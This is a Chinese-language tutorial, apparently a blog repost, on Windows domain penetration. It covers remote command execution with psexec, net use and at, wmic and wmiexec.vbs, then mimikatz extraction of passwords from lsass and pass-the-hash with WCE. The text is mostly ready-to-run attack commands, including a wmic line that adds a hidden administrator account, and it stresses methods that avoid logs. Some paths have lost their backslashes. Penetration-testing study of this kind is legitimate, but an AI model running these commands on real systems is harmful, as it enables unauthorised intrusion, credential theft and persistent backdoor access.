域渗透基础(二)

(该文参考整理自网上文章,相关链接附于文末)

远程命令执行

PSEXEC

psexec是pstools工具包中的一个工具,可在微软官网直接下载。是轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

psexec针对远程建立连接的认证方式有两种,一种先建立ipc连接,然后直接用psexec \192.168.1.2 cmd命令开启一个半交互式的cmdshell,另一种是在psexec的参数中指定账号密码。

执行原理

1、通过ipc$连接,释放psexesvc.exe到目标。
2、通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3、客户端连接执行命令,服务端启动相应的程序并执行回显数据。

(运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug,所以一般来讲不太推荐在渗透时使用psexec,可用wmic,wmiexec等)

常用命令

获取管理员用户权限的交互式 shell

psexec \192.168.17.138 -Administrator -p pass cmd

获取普通用户权限的交互式 shell,要想获取管理员权限 shell ,需要添加-h 参数。

psexec \192.168.17.138 -u test -p pass cmd

在远程系统上以 system 权限执行单条命令,有时回显只有一行,原因尚不清楚。

psexec \192.168.17.138 -Administrator -p pass -s cmd /c "quser"

在远程系统上执行 bat 脚本

psexec \192.168.17.138 -Administrator -p pass c:programdata est.bat

拷贝文件到远程机器并以交互方式运行,运行结束后会删除

psexec \192.168.17.138 -c C:Users estDesktopGetHashes.exe

其它参数

–accepteula 第一次运行会弹框,输入这个参数便不会弹框
s 以 “nt authoritysystem” 权限运行远程进程
h 如果可以,以管理员权限运行远程进程
d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
\ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令

工具说明

需要远程系统开启 ADMIN$ 共享
建立 ipc 连接后可以不指定用户名和密码
不能仅拷贝文件不执行,只需要拷贝时可以建立 ipc 连接后c opy
在启动psExec建立连接之后,远程系统上会被安装一个服务:PSEXESVC。安装服务会留下日志,而且psexec退出时有可能服务删除失败,所以不推荐使用psexec

net use+at

建立一个ipc连接

net use \192.168.17.138C$ "pass" /u:"workgroupAdministrator"

拷贝文件到远程系统上

copy s.exe \192.168.17.138c$RECYCLER

查看远程主机当前时间

net time \192.168.17.138

添加计划任务在远程系统上执行命令

at \192.168.17.138 15:18 cmd.exe /"ipconfig /all >c:programdataerror.log"

添加计划任务在远程系统上执行bat脚本

at \192.168.17.138 15:18 c:programdata est.bat

查看at任务列表

at \192.168.17.138

删除at计划任务,运行完成后一定要删除计划任务!

at \192.168.17.138 1 /delete

查看所有ipc连接

net use

删除指定ipc连接

net use \192.168.17.138C$ /del

删除所有ipc连接(删除前记得确认是否都是自己测试中建立的连接)

net use * /del /y

WMIC

WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用 wmic 进行远程执行命令。

常用命令

在远程系统上执行 bat 脚本

wmic /node:192.168.17.138 /user:test /password:pass process call create c:programdata est.bat

在远程系统上执行单条命令

wmic /node:192.168.17.138 /user:test /password:pass process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

工具说明

1、需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
2、远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
3、wmic 会以管理员权限在远程系统上执行命令
4、防火墙开启将无法连接
5、如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。

WMIEXEC

WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

常用命令

获取半交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 username password

在远程系统上执行单条命令

cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password "cmdkey /list"

在远程系统上执行 bat 脚本

cscript.exe wmiexec.vbs /cmd 192.168.17.138 username password c:programdata est.bat

上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行WMIEXEC(不提供账号密码)就可以了。

Tips:如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash即可。

其它参数

-wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令

(由于WMI只负责创建进程,没有办法可以判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo 或者ping之类的,这时候读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。比如ping结果不能读取完整,而且命令执行完后目标服务器上的wmi.dll结果文件并没有被删除!为了防止出现这种情况,于是在shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果。)

-persist 程序会在后台运行,不会有结果输出

(由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。 所以用这个执行木马会有问题,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写,如果执行不带任何参数的nc.exe也是这种效果 出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。 为了解决这个问题,加入了-persist选项。 当命令加了persist选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。 这样就可以运行nc或者木马程序了)

下面这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时
间的,可以自行更改。

Const Path = "C:"

Const FileName = "wmi.dll"

Const timeOut = 1200

工具说明

需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
wmicexec.vbs 会以管理员权限在远程系统上执行命令
virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm查杀

mimikatz

mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点是他可以直接从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

命令

  • cls—————————–清屏
  • exit—————————-退出
  • version————查看mimikatz的版本
  • system::user—–查看当前登录的系统用户
  • system::computer——-查看计算机名称
  • process::list——————列出进程
  • process::suspend 进程名称 —–暂停进程
  • process::stop 进程名称———结束进程
  • process::modules –列出系统的核心模块及所在位置
  • service::list—————列出系统的服务
  • service::remove———–移除系统的服务
  • service::start stop 服务名称–启动或停止服务
  • privilege::list—————列出权限列表
  • privilege::enable——–激活一个或多个权限
  • privilege::debug—————–提升权限
  • nogpo::cmd————打开系统的cmd.exe
  • nogpo::regedit ———–打开系统的注册表
  • nogpo::taskmgr————-打开任务管理器
  • ts::sessions—————–显示当前的会话
  • ts::processes——显示进程和对应的pid情况等
  • sekurlsa::wdigest—–获取本地用户信息及密码
  • sekurlsa::tspkg——获取tspkg用户信息及密码
  • sekurlsa::logonPasswords–获登陆用户信息及密码

获取windows 登陆密码

第一步:根据你系统选择对应的版本,双击打开

第二步:输入输入privilege::debug 提升权限

第三步:输入inject::process lsass.exe sekurlsa.dll 将sekurlsa.dll 注入到lsass.exe 中

第四步:输入sekurlsa::logonPasswords full 即可获取hash和当前用户的明文密码

哈希传递攻击(Pass The Hash,PTH)

如果内网主机的本地管理员账户密码相同,那么可以通过pass the hash远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用pass the hash的渗透方式往往是这样的:

  1. 获得一台域主机的权限
  2. Dump内存获得用户hash
  3. 通过pass the hash尝试登录其他主机
  4. 继续搜集hash并尝试远程登录
  5. 直到获得域管理员账户hash,登录域控,最终成功控制整个域

原理

  • 在Windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
  • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
  • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

使用wce进行hash注入

在内网渗透时,很经常会碰到好不容易提取出了hash,但是无法破解。

wce号称内网渗透神器,其中有一个功能就是hash注入。

测试环境:

目标  windows2008 【192.168.200.128】hash如下:

测试机:

windows7【192.168.200.5】

在无法破解192.168.200.128的administrator密码时,我们可以采用hash注入

先dir目标的c$(前提是目标有开启C盘共享)

会提示账号密码错误。

使用wce

格式:
wce.exe -s 账号:主机名或域的名字:LM:NTLM

提示注入完成。

再dir目标机器的C盘试试

 

参考:

远程命令执行 wmiexec

利用WMI代替psexec——WMIEXEC.vbs

法国神器直接获取windows登陆密码

域渗透——Pass The Hash的实现

域渗透——Pass The Hash & Pass The Key – 三好学生

如何使用wce进行hash注入

原文地址:https://www.cnblogs.com/leixiao-/p/10586804.html